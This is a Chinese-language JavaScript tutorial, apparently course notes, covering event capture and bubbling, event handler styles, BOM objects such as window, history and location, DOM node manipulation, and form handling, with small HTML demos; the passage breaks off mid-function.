事件的捕获和冒泡

考API地址：https://developer.mozilla.org/zh-CN/docs/Web/API/EventTarget/addEventListener#%E8%AF%AD%E6%B3%95

添加一个监听事件，首先我们看一下API的语法如下

addEventListener(type, listener);
addEventListener(type, listener, options);
addEventListener(type, listener, useCapture);

常用到的是第一个和第三个因为，useCapture默认值是false

useCapture 可选
一个布尔值，表示在 DOM 树中注册了 listener 的元素，是否要先于它下面的 EventTarget 调用该 listener。当 useCapture（设为 true）时，沿着 DOM 树向上冒泡的事件不会触发 listener。当一个元素嵌套了另一个元素，并且两个元素都对同一事件注册了一个处理函数时，所发生的事件冒泡和事件捕获是两种不同的事件传播方式。事件传播模式决定了元素以哪个顺序接收事件。进一步的解释可以查看 DOM Level 3 事件及 JavaScript 事件顺序文档。如果没有指定，useCapture 默认为 false。

这个值的作用有什么用呢？下面我开始了我的摸索和见解。废话不多说开始上demo演示。

<!DOCTYPE html>
<html lang="zh-CN>
<head>
    <meta charset=" UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
    div {
        padding: 15px;
        border: 1px solid #e5f3fe;
        position: relative;
        overflow: hidden;
    }

    span {
        background-color: #f2f1f1;
        padding: 8px 15px;
        margin: 15px;
        display: inline-block;
    }

    .description {
        font-size: 22px;
        font-weight: 600;
    }
</style>
</head>

<body>
    <p class="description">
        ok 兄弟你每次点击“节点2” 就会发现这个参数的不同点了。是不是 它的触发顺序出现了不同 对 就是这样的。
    </p>
    <label>
        <input checked onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio2" value="false" />
        useCapture=false
    </label>
    <label>
        <input onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio1" value="true" />
        useCapture=true
    </label>
    
    <div title="节点1">
        <span>节点1</span>
        <div title="节点2">
            <span>节点2</span>
        </div>
    </div>

    <script>
        //  个人总结：false的话 就是事件冒泡了 从子元素到父元素
        // true的话   就是事件捕获 从父到子！
        let useCapture=false
        // 添加事件
        function bindEvent() {
            const targets=document.querySelectorAll('div')
            targets.forEach(element=> {
                element.addEventListener('click', handleClick, useCapture)
            });
        }
        // 移除事件
        function removeEvent() {
            const targets=document.querySelectorAll('div')
            targets.forEach(element=> {
                element.removeEventListener('click', handleClick, useCapture)
            });
        }
        // div click handle
        function handleClick(event){
            // event.stopPropagation()
            alert(this.getAttribute('title'))
        }
        // 处理 radio change
        function radioChange(checked) {
            removeEvent()             
            console.log('radioChange')
            console.log(checked)
            useCapture=checked=="true" ? true : false
            bindEvent()
        }
        // 执行绑定事件
        bindEvent()
    </script>
</body>

</html>

demo运行起来是这样的效果

我们发现当div或者出发事件的元素存在嵌套的情况下，这个是控制事件的执行顺序的。useCapture=false默认是冒泡，冒泡怎么理解呢就是水里的泡泡往上冒么，那么就是从子元素王父元素执行。

Capture=true就是捕获点击一下先相应父级元素的事件，然后传递到子元素。也就是先执行父的事件在执行子的事件。

还有一个就是阻止事件冒泡的 event.stopPropagation();

API文档地址：https://developer.mozilla.org/zh-CN/docs/Web/API/Event/stopPropagation

我们改动一下我们的DEMO再看看

<!DOCTYPE html>
<html lang="zh-CN>
<head>
    <meta charset=" UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
    div {
        padding: 15px;
        border: 1px solid #e5f3fe;
        position: relative;
        overflow: hidden;
    }

    span {
        background-color: #f2f1f1;
        padding: 8px 15px;
        margin: 15px;
        display: inline-block;
    }

    .description {
        font-size: 22px;
        font-weight: 600;
    }
</style>
</head>

<body>
    <p class="description">
        ok 兄弟你每次点击“节点2” 就会发现这个参数的不同点了。是不是 它的触发顺序出现了不同 对 就是这样的。
    </p>
    <label>
        <input checked onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio2" value="false" />
        useCapture=false
    </label>
    <label>
        <input onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio1" value="true" />
        useCapture=true
    </label>
    
    <div title="节点1">
        <span>节点1</span>
        <div title="节点2">
            <span>节点2</span>
        </div>
    </div>

    <script>
        //  个人总结：false的话 就是事件冒泡了 从子元素到父元素
        // true的话   就是事件捕获 从父到子！
        let useCapture=false
        // 添加事件
        function bindEvent() {
            const targets=document.querySelectorAll('div')
            targets.forEach(element=> {
                element.addEventListener('click', handleClick, useCapture)
            });
        }
        // 移除事件
        function removeEvent() {
            const targets=document.querySelectorAll('div')
            targets.forEach(element=> {
                element.removeEventListener('click', handleClick, useCapture)
            });
        }
        // div click handle
        function handleClick(event){
            event.stopPropagation()
            alert(this.getAttribute('title'))
        }
        // 处理 radio change
        function radioChange(checked) {
            removeEvent()             
            console.log('radioChange')
            console.log(checked)
            useCapture=checked=="true" ? true : false
            bindEvent()
        }
        // 执行绑定事件
        bindEvent()
    </script>
</body>

</html>

发现事件触发了以后，就不再冒泡或者继续往子元素传递了。这是我的理解和简介欢迎大家拍砖。

要内容

事件

事件 (Event) 是 JavaScript 应用跳动的心脏，进行交互，使网页动起来。当我们与浏览器中 Web 页面进行某些类型的交互时，事件就发生了。事件可能是用户在某些内容上的点击、鼠标经过某个特定元素或按下键盘上的某些按键。事件还可能是 Web 浏览器中发生的事情，比如说某个 Web 页面加载完成，或者是用户滚动窗口或改变窗口大小。

? 通过使用 JavaScript ，你可以监听特定事件的发生，并规定让某些事件发生以对这些事件做出响应。

作用

（1）验证用户输入的数据。
（2）增加页面的动感效果。
（3）增强用户的体验度

事件中的几个名词

事件源: 谁触发的事件
事件名: 触发了什么事件
事件监听: 谁管这个事情，谁监视？
事件处理:发生了怎么办

例如

闯红灯		事件源:车 ;   事件名: 闯红灯;    监听：摄像头、交警 ;     处理:扣分罚款 
单击按钮   事件源:按钮;   事件名: 单击;     监听:窗口 ;             处理:执行函数

? 当我们用户在页面中进行的点击动作，鼠标移动的动作，网页页面加载完成的动作等，都可以称之为事件名称，即：click、mousemove、load 等都是事件名称，具体的执行代码处理，响应某个事件的函数。

<body onload="loadWindow();"></body>
<script>
	function loadWindow(){
     	alert("加载窗体");
	}
</script>

事件类型

? JavaScript可以处理的事件类型为：鼠标事件、键盘事件、HTML事件。

? http://www.w3school.com.cn/tags/html_ref_eventattributes.asp 用+查

? Window 事件属性：针对 window 对象触发的事件（应用到标签）

? Form 事件：由 HTML 表单内的动作触发的事件（应用到几乎所有 HTML 元素，但最常用在 form 元素中）

? Keyboard 事件 : 键盘事件

? Mouse 事件：由鼠标或类似用户动作触发的事件

? Media 事件：由媒介（比如视频、图像和音频）触发的事件（适用于所有 HTML 元素，但常见于媒介元素中，比如、、、以及）

? 几个常用的事件：

? onclick 、onblur 、onfocus 、onload 、onchange

? onmouseover、onmouseout、onkeyup、onkeydown

onload：当页面或图像加载完后立即触发

onblur：元素失去焦点

onfocus：元素获得焦点

onclick：鼠标点击某个对象

onchange：用户改变域的内容

onmouseover：鼠标移动到某个元素上

onmouseout：鼠标从某个元素上离开

onkeyup：某个键盘的键被松开

onkeydown：某个键盘的键被按下

事件流和事件模型

? 我们的事件最后都有一个特定的事件源，暂且将事件源看做是HTML的某个元素，那么当一个HTML元素产生一个事件时，该事件会在元素节点与根节点之间按特定的顺序传播，路径所经过的节点都会受到该事件，这个传播过程称为DOM事件流。

? 事件顺序有两种类型：**事件捕获 **和 事件冒泡。

? 冒泡和捕获其实都是事件流的不同表现，这两者的产生是因为IE和Netscape两个大公司完全不同的事件流概念产生的。（事件流：是指页面接受事件的顺序）IE的事件流是事件冒泡，Netscape的事件流是事件捕获流。

事件冒泡

? IE的事件流叫做事件冒泡，即事件开始时由最具体的元素接受，然后逐级向上传播到较为不具体的节点（文档）。例如下面的：

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>JavaScript</title>
	</head>
	<body>
		<div id="myDiv">Click me</div>
	</body>
</html>

? 如果点击了页面中的

元素，那么这个click事件会按照如下顺序传播：

? 1、

? 2、

? 3、

? 4、document

? 也就是说，click事件首先在div元素上发生，而这个元素就是我们单击的元素。然后，click事件沿DOM树向上传播，在每一级节点上都会发生，直到传播到document对象。

? 所有现代浏览器都支持事件冒泡，但在具体实现上还是有一些差别。

事件捕获

? Netscape提出的另一种事件流叫做事件捕获，事件捕获的思想是不太具体的节点应该更早接收到事件，而最具体的节点应该最后接收到事件。事件捕获的用意在于在事件到达预定目标之前捕获它。还以前面的例子为例。那么单击

元素就会按下列顺序触发click事件：

? 1、document

? 2、

? 3、

? 4、

? 在事件捕获过程中，document对象首先接收到click事件，然后沿DOM树依次向下，一直传播到事件的实际目标，即

元素。

? 虽然事件捕获是Netscape唯一支持的事件流模式，但很多主流浏览器目前也都支持这种事件流模型。尽管“DOM2级事件”规范要求事件应该从document对象开始时传播，但这些浏览器都是从window对象开始捕获的。

DOM 事件流

? “DOM2级事件”规定的事件流包括三个阶段：事件捕获阶段、处于目标阶段和事件冒泡阶段。首先发生的是事件捕获阶段，为截获事件提供了机会。然后是实际的目标接收到事件。最后一个阶段是冒泡阶段，可以在这个阶段对事件做出响应。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8WOxp342-1608883565334)(/图片1dfgh.png)]

事件处理程序

? 事件就是用户或浏览器自身执行的某种动作。例如click、load和mouseover都是事件的名字，而响应某个事件的函数就叫做事件处理程序（或事件侦听器）。事件处理程序的名字以“on”开头，因此click事件的事件处理程序就是onclick，为事件指定处理程序的方式有好几种。

HTML 事件处理程序

? 某个元素支持的每种事件，都可以用一个与相应事件处理程序同名的HTML特性来指定。这个特性的值应该是能够执行的JavaScript代码：

<input type="button" value="Press me" onclick="alert('thanks');" />

? 这样做有一些缺点，例如耦合度过高，还可能存在时差问题（当用户点击按钮时，处理函数还未加载到，此时处理函数是单独写的一段js代码），而且在不同的浏览器上可能会有不同的效果。

DOM0 级事件处理程序

? 通过JavaScript指定事件处理程序的传统方式，就是将一个函数赋值给一个事件处理程序属性。这种方式被所有现代浏览器所支持。这种方式首先必须取得一个要操作的对象的引用，每个元素都有自己的事件处理程序属性，这些属性通常全都小写，例如onclick，然后将这种属性的值设为一个函数，就可以指定事件处理程序了。例如：

<body>
    <button id="myBtn">按钮</button>
    <script type="text/javascript">
        var btn=document.getElementById('myBtn');
        btn.onclick=function(){
            console.log('you click a button');
        }
    </script>
</body>

? 以这种方式添加的事件处理程序会在事件流的冒泡阶段被处理。而且，只能为同一个元素的同一个事件设定一个处理程序（覆盖），也可以通过删除DOM0级方法指定的事件处理程序，只要将属性值设为null即可：

btn.onclick=null;

DOM2 级事件处理程序

? “DOM2级事件”定义了两个方法，用于处理指定和删除事件处理程序的操作：addEventListener()和removeEventListener()。所有DOM节点都包含这两个方法，并且他们都接受3个参数：要处理的事件名、作为事件处理程序的函数和一个布尔值。最后这个布尔值参数如果是true，则表示在捕获阶段调用事件处理程序；如果是false则表示在冒泡阶段调用事件处理程序。

<body>
    <button id="myBtn">按钮</button>
    <script type="text/javascript">
        var btn=document.getElementById('myBtn')
        btn.addEventListener('click',function(){
            alert('you add a eventListener by DOM2')
        },false)

        btn.addEventListener('click',function(){
            alert('you add a eventListener by DOM2 again')
        },false)

        function thread(){
            alert('you add a eventListener by DOM2 第三次')
        }
        btn.addEventListener('click',thread,false)
        btn.removeEventListener('click',thread,false)
    </script>
</body>

? 这种方式可以为同一个元素的同一个事件添加多个处理函数。还可删除事件处理函数，注意，在删除的时候，不能删除匿名处理函数。

本节作业

1. 常用的几种事件
2. 绑定事件的几种方式

BOM对象

? BOM的核心对象是window，它表示浏览器的一个实例。window对象有双重角色，它既是通过JavaScript访问浏览器窗口的一个接口，又是ECMAScript规定的Global对象。这意味着在网页中定义的任何一个对象、变量和函数，都以window作为其Global对象，因此有权访问parseInt()等方法。如果页面中包含框架，则每个框架都拥有自己的window对象，并且保存在frames集合中。在frames集合中，可以通过数值索引（从0开始，从左至右，从上到下）或者框架的名称来访问相应的window对象。

Window对象方法

系统对话框

? 浏览器通过（实际是window对象的方法）alert()、confirm()、prompt()方法可以调用系统对话框向用户显示消息。

（1）消息框:alert， 常用。
    alert() 方法用于显示带有一条指定消息和一个 OK 按钮的警告框。
（2）输入框:prompt，返回提示框中的值。
    prompt() 方法用于显示可提示用户进行输入的对话框。
    参数（可选）：
       第一个参数：要在对话框中显示的纯文本。
 	   第二个参数：默认的输入文本。
（3）确认框:confirm，返回 true/false.
confirm() 方法用于显示一个带有指定消息和 OK 及取消按钮的对话框。

<style type="text/css">
	#aa{
		border: 1px solid red;
		height: 100px;
	}
</style>
<body>
	<div id="aa">
		This is a div
	</div>
	<button onclick="testAlert();">警告</button>
	<button onclick="testComfirm();">修改</button>
	<button onclick="testPrompt();">输入</button>
	<script type="text/javascript">
		// 1.警告框
		function testAlert(){
			alert('警告框！！！');
		}			
	
        /*
		 2.输入框
		 	返回值：输入的内容
		 * */
		function testPrompt(){
			var item=prompt('请输入年龄'); // item得到输入的值
			// console.log(item)
			// alert(prompt('请输入年龄',18)); // 将输入的值输出
		}
        
		/*
		 3.确认框
		 	返回值：boolean（true|false）
		 * */
		function testComfirm(){
			var result=confirm('真的要改吗？');
			if(result){
				var ele=document.getElementById("aa");
				ele.style.color="red";
				ele.innerHTML="<span>fdsfsd</span>";
			}else{
				alert("没事别瞎点。。。");
			}
		}
	</script>
</body>

打开窗口

? window.open()方法既可以导航到一个特定的URL也可以用来打开一个新的窗口

<script type="text/javascript">
function openBaidu(){
	window.open('http://www.baidu.com','_self'); // _self、_blank等
	// window.open();		//空白窗口
}
</script>
<input type="button" name="open" value="百度" onclick='openBaidu();' />

关闭窗口

? window.close()：关闭窗口。

? 例：点击按钮关闭当前窗口。

<input type="button" value="关闭窗口" onclick="window.close();" />

时间函数

setTimeout()

? setTimeout() : 在指定的毫秒数后调用函数或计算表达式。返回一个唯一的标识；也可以通过返回的标识cliearTimeout(id)：来清除指定函数的执行。

var id=setTimeout(function,times);

clearTimeout(id);

示例：

<script type="text/javascript">
	// 延迟3 秒后出现 alert
	function hello() { 
		  alert("对不起, 要你久候"); 
	}
	setTimeout("hello()", 3000);
    
    // 时间显示器
	var timeout;
    function init(){
		   // 拿到当前时间
		   var date=new Date();
		   var time=date.toLocaleString();
		   // 拿到相应对象
	  	   var h1=document.getElementById('h1');
		   // 根据需求添加样式
		   if(0==date.getSeconds()){	// 当时间的秒数变成0时，显示红色字体
			   h1.innerHTML='<span style="color:red">' + time + '</span>';
		   } else {
			   h1.innerHTML=time;
		   }
		   /*
		    * 	定时操作，只执行一次
		 	    第一个参数：执行的方法；第二个参数：定时，单位是毫秒
		    * */
		    setTimeout(init,1000);   // 等多少时间来执行
	}
	// window.setTimeout(init,1000);// 只执行一次		
	// 停止操作
	function stopShow () {
        clearTimeout(timeout);
    }
</script>
<body onload="init();">
	<h1 id="h1"></h1>
    <button onclick="stopShow()">时间停止</button>
</body>

? 在times毫秒后执行function指定的方法，执行之前也可以取消

setInteval()

? setInterval():可按照指定的周期（以毫秒计）来调用函数或计算表达式，也可根据返回的标识用来结束。该方法会不停地调用函数，直到 clearInterval() 被调用或窗口被关闭。

var id=setInterval(function,times);

clearInterval(id);

function test(){
	console.log(".....");
}
// window是一个全局对象，通过全局对象调用setInterval()函数
window.setInterval(test,1000);

history对象

? history 对象是历史对象。包含用户（在浏览器窗口中）访问过的 URL。history 对象是 window 对象的一部分，可通过 window.history 属性对其进行访问。

? history对象的属性：length，返回浏览器历史列表中的 URL 数量。

? history对象的方法：

? back()：加载 history 列表中的前一个 URL。

? forward()：加载历史列表中的下一个 URL。当页面第一次访问时，还没有下一个url。

? go(number|URL): URL 参数使用的是要访问的 URL。而 number 参数使用的是要访问的 URL 在 History 的 URL 列表中的相对位置。go(-1)，到上一个页面

013-history.html

<body>
	<a href="013-history-a.html">013-history-a.html</a>
	<h1>我是第一个页面</h1>
    <input type="button"  value="前进" onclick="window.history.forward();" />
    <script>
        console.log(window.history);
    </script>
</body>

013-history-a.html

<body>
	<a href="013-history-b.html">013-history-b.html</a>
	<h1>我是A页面</h1>
	<input type="button" value="后退"  onclick="window.history.back();"/>
</body>

013-history-b.html

<body>
	  <h1>我是B页面</h1>
	  <input type="button" value="第一个页面" onclick="window.history.go(-2);"/>
	  <input type="button" value="后退"  onclick="window.history.back();"/>
</body>

location对象

? location 对象是window对象之一，提供了与当前窗口中加载的文档有关的信息，还提供了一些导航功能。也可通过 window.location 属性来访问。

? location 对象的属性 href：设置或返回完整的 URL

? location 对象的方法

? reload()：重新加载当前文档。

? replace()：用新的文档替换当前文档。

<script type="text/javascript">
	function openBaidu(){
        // 没有历史记录,用新的文档替换当前文档
		// window.location.replace("http://www.baidu.com");
		// console.log(window.location.href); // 获取完整的url
		window.location.href="http://www.baidu.com";
	}
</script>
<body>
	<input type="text"  value="" />
	<input type="button" value="刷新" onclick="window.location.reload();" />
	<input type="button"  value="百度" onclick="openBaidu();" />
</body>

本节作业

实现时间计时功能
JS的跳转方式

DOM对象

? DOM：Document Object Model 文档对象模型

? 要实现页面的动态交互效果，bom 操作远远不够，需要操作 html 才是核心。如何操作 htm，就是 DOM。简单的说，dom 提供了用程序动态控制 html 接口。DOM即文档对象模型描绘了一个层次化的节点树，运行开发人员添加、移除和修改页面的某一部分。dom 处于javascript 的核心地位上。

? 每个载入浏览器的 HTML 文档都会成为 Document 对象。Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。Document 对象是 Window 对象的一部分，可通过 window.document 属性对其进行访问。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BShAnTK7-1608883565338)(/图片1trj.png)]

节点

? 加载 HTML 页面时，Web 浏览器生成一个树型结构，用来表示页面内部结构。DOM 将这种树型结构理解为由节点组成，组成一个节点树。对于页面中的元素，可以解析成以下几种类型的节点：

节点类型HTML内容例如文档节点文档本身整个文档 document元素节点所有的HTML元素、、

属性节点HTML元素内的属性id、href、name、class文本节点元素内的文本hello注释节点HTML中的注释

? html --> 文档节点

? div --> 元素节点

? title --> 属性节点

? 测试 Div --> 文本节点

<html>
    <head>
        <title>树!树!到处都是树!</title>
    </head>
    <body>
      <div title="属性节点">测试 Div</div>
    </body>
</html>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AVMijlup-1608883565345)(/图片1fdgfh.png)]

操作元素的节点

? 当HTML文档在被解析为一颗DOM树以后，里面的每一个节点都可以看做是一个一个的对象，我们称为DOM对象，对于这些对象，我们可以进行各式各样的操作，查找到某一个或者一类节点对象，可以创建某种节点对象，可以在某个位置添加节点对象，甚至可以动态地删除节点对象，这些操作可以使我们的页面看起来有动态的效果，后期结合事件使用，就能让我们的页面在特定时机、特定的事件下执行特定的变换。

获取节点

? 在进行增、删、改的操作时，都需要指定到一个位置，或者找到一个目标，此时我们就可以通过Document对象提供的方法，查找、定位某个对象（也就是我们说的节点）。

? 注意：操作 dom 必须等节点初始化完毕后，才能执行。

? 处理方式两种:

? （1）把 script 调用标签移到html末尾即可；

? （2）使用onload事件来处理JS，等待html 加载完毕再加载 onload 事件里的 JS。

window.onload=function () { //预加载 html 后执行};

? 获取方式如下：

方法描述getElementById()根据id获取dom对象，如果id重复，那么以第一个为准getElementsByTagName()根据标签名获取dom对象数组getElementsByClassName()根据样式名获取dom对象数组getElementsByName()根据name属性值获取dom对象数组，常用于多选获取值

<body>
	<p id="p1" class="para">这是一个段落<span>文本</span></p>
	<p id="p1" class="para">这又是一个段落</p>
	<input type="text" name="txt" />
	<input type="checkbox" name="hobby" value="游泳" />游泳
	<input type="checkbox" name="hobby" value="篮球" />篮球
	<input type="checkbox" name="hobby" value="足球" />足球
	<hr />
	<a href="javascript：void(0)" onclick="testById()">按照id获取</a>
	<a href="javascript：void(0)" onclick="testByName()">按照name获取</a>
	<a href="javascript：void(0)" onclick="testByTagName()">按照标签名获取</a>
	<a href="javascript：void(0);" onclick="testByClass();">按照class获取</a>
</body>

? 说明：href=“javascript：void(0)”：伪协议，表示不执行跳转，而执行指定的点击事件。

<script type="text/javascript">
	// 按照id获取元素
	function testById() {
		// 返回单个对象
		var p=document.getElementById("p1");
		console.log(p);
		// 表示获取元素开始标签和结束标签之间的html结构
		console.log(p.innerHTML); 			
		console.log(p.innerText); // 表示获取标签之间的普通文本
	}

	// 按照name获取元素
	function testByName() {
		// 对象数组
		var ho=document.getElementsByName("hobby");
		console.log(ho);
		for(var i=0; i <=ho.length - 1; i++) {
			console.log(ho[i].value);
		}
	}

	// 按照标签名获取元素
	function testByTagName() {
		// 对象数组
		var inputArr=document.getElementsByTagName("input");
		for(var i=0; i < inputArr.length; i++) {
			if(inputArr[i].type=="text") {
				console.log("text类型");
			} else if(inputArr[i].type=="checkbox") {
				if(inputArr[i].checked) {
					console.log(inputArr[i].value);
				}
			}
		}
	}

	// 按照class属性获取元素
	function testByClass() {
		// 对象数组
		var ps=document.getElementsByClassName("para");
		console.log(ps[0].innerHTML);
		ps[0].innerHTML +="这是一段新的文本";
	}
</script>

创建节点和插入节点

? 很多时候我们想要在某个位置插入一个新的节点，此时我们首先需要有一个节点存在，可以通过以下几种方式创建新节点。

创建节点

方法描述createElement()创建一个新的节点，需要传入节点的标签名称，返回创建的元素对象createTextNode()创建一个文本节点，可以传入文本内容innerHTML也能达到创建节点的效果，直接添加到指定位置了

插入节点

方法描述write()将任意的字符串插入到文档中appendChild()向元素中添加新的子节点，作为最后一个子节点insertBefore()向指定的已有的节点之前插入新的节点newItem：要插入的节点exsitingItem：参考节点需要参考父节点

<button onclick="add()">添加段落</button>
<div id="container"></div>
		
<script type="text/javascript">
	function add(){
	    var container=document.getElementById('container')
	    var paragraph=document.createElement('p');
	    var txt=document.createTextNode('hello')
	    paragraph.appendChild(txt)
	    container.appendChild(paragraph)
}
</script>

添加 “段落、图片、文本框、选项”

<body>
	<button onclick="addPara();">添加段落</button>
	<button onclick="addImg();">添加图片</button>
	<button onclick="addTxt();">添加文本框</button>
	<button onclick="addOptions()">添加选项</button> 
	<select name="music">
		<option value="-1">你心内的一首歌</option>
		<option value="0">南山南</option>
		<option value="1">喜欢你</option>
	</select>
	<hr />
	<div id="container"></div>
</body>

<script type="text/javascript">	
	// 添加p节点
	function addPara(){
		// 获取容器
		var container=document.getElementById("container");
		// 创建段落<p></p>
		var p=document.createElement('p');  	
		// 第一种方式
		// 创建文本节点
		var txt=document.createTextNode("以后的你会感谢现在努力的你");
		// 将txt节点追加到p节点中
		p.appendChild(txt);
		// 将p节点追加到container节点中
		container.appendChild(p);		
		/*
		// 第二种方式
		// 向p节点中添加内容
		p.innerHTML="以后的你会感谢现在努力的你";
		// 将p节点追加到container节点中
		container.appendChild(p);
		*/	
		/*
		// 第三种方式
		// 将字符串类型的p标签内容添加到container中，不会添加多次
		var str="<p>以后的你会感谢现在努力的你</p>";
		container.innerHTML=str;
		*/
	}	
    
	// 添加图片
	function addImg(){
		// 创建图片
		var img=document.createElement("img") ;			
		/*
		// 设置属性第一种方式
		// 设置img标签的src属性
		// img.src="http://www.baidu.com/img/bd_logo1.png";
		*/		
		// 设置属性第二种方式
		// setAttribute() 方法添加指定的属性，并为其赋指定的值。
		// 设置img的src属性
		img.setAttribute('src','http://www.baidu.com/img/bd_logo1.png');
		img.style.width='300px';		
		img.style.height='200px';			
		// 获取容器
		var container=document.getElementById("container");
		// 将img节点追加到container中。
		container.appendChild(img);
	}	
    
	// 添加文本框
	function addTxt(){
		// 创建文本框
		var txt=document.createElement("input");	
		/*
		// 设置类型第一种方式
		txt.type="text"; 
		txt.value="添加成功";
		*/
		// 设置类型第二种方式
		txt.setAttribute('type', 'text');
		txt.setAttribute('value', '添加成功');
		/*
		 * txt.type='password'
		 * txt.value='123'
		 */
		// 获取容器
		var container=document.getElementById("container");
		// 将txt节点追加到container中。
		container.appendChild(txt);
	}
    
	// 添加下拉框的选项			
	function addOptions(){
		// 第一种方式
		/*
		// 创建下拉项
		var option=document.createElement("option") ;
		option.value="2" ;
		option.text="油菜花" ;
		// 获取下拉框
		var sel=document.getElementsByTagName("select")[0];
		// 添加 下拉项 
		sel.appendChild(option);
		*/					
		// 第二种方式:
		var option=document.createElement("option") ;
		option.value="2" ;
		option.text="不该" ;
		// 获取下拉框
		var sel=document.getElementsByTagName("select")[0];
		// 添加下拉项
		sel.options.add(option);		
		// 第三种方式: 添加下拉项
		var sel=document.getElementsByTagName("select")[0];
		sel.innerHTML +="<option value='2'>英雄</option>" ;
	}			
</script>

间接查找节点

方法|属性描述childNodes返回元素的一个子节点的数组firstChild返回元素的第一个子节点lastChild返回元素的最后一个子节点nextSibling返回元素的下一个兄弟节点parentNode返回元素的父节点previousSibling返回元素的上一个兄弟节点

删除节点

方法|属性描述removeChild()从元素中移除子节点

<script type="text/javascript">
	function delNode(){
		var programmer=document.getElementById("programmer");
		// 从父元素中删除节点，获取要删除对象的父元素，然后从父元素中删除该对象
		programmer.parentNode.removeChild(programmer);
	}
</script>
<body>
	<span id="programmer">程序猿</span>
	<a href="javascript：void(0)" onclick="delNode();">删除</a>
</body>

表单

? 表单是我们页面向后台传输数据的一种非常常见的方式，在进行数据发送（请求发出）之前，我们应该现在页面进行一系列数据合法性的验证，节省不必要的错误数据的传输，以及提高用户的体验度。

获取表单

前两种常用

1、document.表单名称
2、document.getElementById(表单 id);
3、document.forms[表单名称]
4、document.forms[索引]; //从 0 开始

例如：

<body>
	<form id='myform' name="myform" action="" method="post"></form>
	<form id='myform2' name="myform2" action="" method="post"></form>
</body>
<script>
	//四种方式
	var form=document.getElementById("myform");
	form=document.myform;
	form=document.forms["myform"];
	form=document.forms[0];
	console.log(form);
</script>

获取表单元素

获取input元素

? 如 text password hidden textarea等，前两种常用。

1)、通过 id 获取：document.getElementById(元素 id);
2)、通过 form.名称形式获取: myform.元素名称;    name属性值
3)、通过 name 获取 :document.getElementsByName(name属性值)[索引] // 从0开始
4)、通过 tagName 数组 :document.getElementsByTagName('input')[索引] // 从0开始

<body>
	<form id='myform' name="myform" action="" method="get">		
		姓名:<input type="text" id="uname" name="uname" value="zs"/><br />
		密码:<input type="password" id="upwd" name="upwd" value="1234"/><br />
		<input type="hidden" id="uno" name="uno" value="隐藏域" />
		个人说明:<textarea name="intro"></textarea>
		<button type="button" onclick="getTxt();" >获取元素内容</button>
	</form>
</body>
<script>
	function getTxt(){
		var uno=document.getElementById("uno");
		var uname=myform.uname;
		console.log(uname + "--------");
		var upwd=document.getElementsByTagName('input')[1] ;
		var intro=document.getElementsByName("intro")[0];				
		console.log(uno.value +"，"+ uname.value +"，"+ upwd.value +"，"+ intro.value);
	}
</script>

获取单选按钮

? 前提：将一组单选按钮设置相同的name属性值

? (1)获取单选按钮组：

document.getElementsByName("name属性值");

(2)遍历每个单选按钮，并查看单选按钮元素的checked属性

? 若属性值为true表示被选中，否则未被选中

? 选中状态设定： checked=‘checked’ 或 checked=‘true’ 或 checked

? 未选中状态设定：没有checked属性或 checked=‘false’

<form action="" name="myform">
	<input type="text" name="inputName" value="aaa" />
	<input type="radio" name="rad" value="1" />	1
	<input type="radio" name="rad" value="2"  /> 2
</form>
		
<script type="text/javascript">
	var radios=document.getElementsByName('rad');
	//radios[0].checked='checked'
	for(var i=0; i<radios.length; i++){
	    console.log(radios[i].checked + '---' + radios[i].value)
	}
</script>

获取多选按钮

? 操作方式与单选同理，不同之处在于可以多选

var ufav=document.getElementsByName("ufav");
var favstr="";
    for (i=0;i < ufav.length; i++){
        if(ufav[i].checked){
            favstr +=ufav[i].value+",";
        }
    }
favstr=favstr.substr(0,favstr.length-1);

获取下拉选项

? （1）获取 select 对象：

var ufrom=document.getElementById("ufrom");

? （2）获取选中项的索引：

var idx=ufrom.selectedIndex;

? （3）获取选中项 options 的 value属性值：

var val=ufrom.options[idx].value;

? 注意：当通过options获取选中项的value属性值时，

? 若没有value属性，则取option标签的内容

? 若存在value属性，则取value属性的值

? （4）获取选中项 options 的 text：

var txt=ufrom.options[idx].text;

? 选中状态设定：selected=‘selected’、selected=true、selected

? 未选中状态设定：不设selected属性

<body onload="init()">
	<form id='myform' name="myform" action="" method="">		
		来自:
		<select id="ufrom" name="ufrom">
			<option value="-1" >请选择</option>
			<option value="0" selected="selected">北京</option>
			<option value="1">上海</option>
		</select><br />
		<button type="button" id="sub" name="sub">提交</button>
	</form>
</body>
<script>
	function init () {
		var sub=document.getElementById("sub");
		sub.onclick=function () {
			//获取select对象
			var ufrom=document.getElementById("ufrom");
			console.log("表单对象：" + ufrom);
			//获取选中的索引
			var idx=ufrom.selectedIndex;
			console.log("选中项的索引值：" + idx);
			//获取选中项的value值
			var val=ufrom.options[idx].value;
			console.log("选中项的value属性值：" + val);
			//获取选中项的text
			var txt=ufrom.options[idx].text;
			console.log("选中项的text：" + txt);
		}
	}
</script>

提交表单

? （1）使用普通button按钮+onclick事件+事件中编写代码:

	获取表单.submit();

（2）使用submit按钮 + onclick="return 函数()" +函数编写代码:

? 最后必须返回：return true|false;

（3）使用submit按钮/图片提交按钮 + 表单onsubmit="return 函数();" +函数编写代码:

? 最后必须返回：return true|false;

<form id='myform1' name="myform2" action="#" method="get" onsubmit="return onsub();">	
	<input  name="test"  id="uname"/><span id="msg"></span><br />
	<!--通过js事件：sub()提交表单-->
	<input type="button" onclick="sub();" value="提交表单1" />
	<input type="submit" onclick="return sub2();" value="提交表单2" />
	<input type="submit" value="提交onsubmit" /><br />
	<input type="image" src="img/u=71331624,2965806045&fm=23&gp=0.jpg" 
                  width="60px" height="40px" />
</form>
<script type="text/javascript">		
	// input的type=button，调用submit()方法提交
	function sub(){
		document.myform2.submit();
	}
	// 进行校验，返回值为true才能提交
	function sub2(){
		var uname=document.getElementById("uname");
		var val=uname.value;
		if(val.length>0){
			return true; // 提交
		}
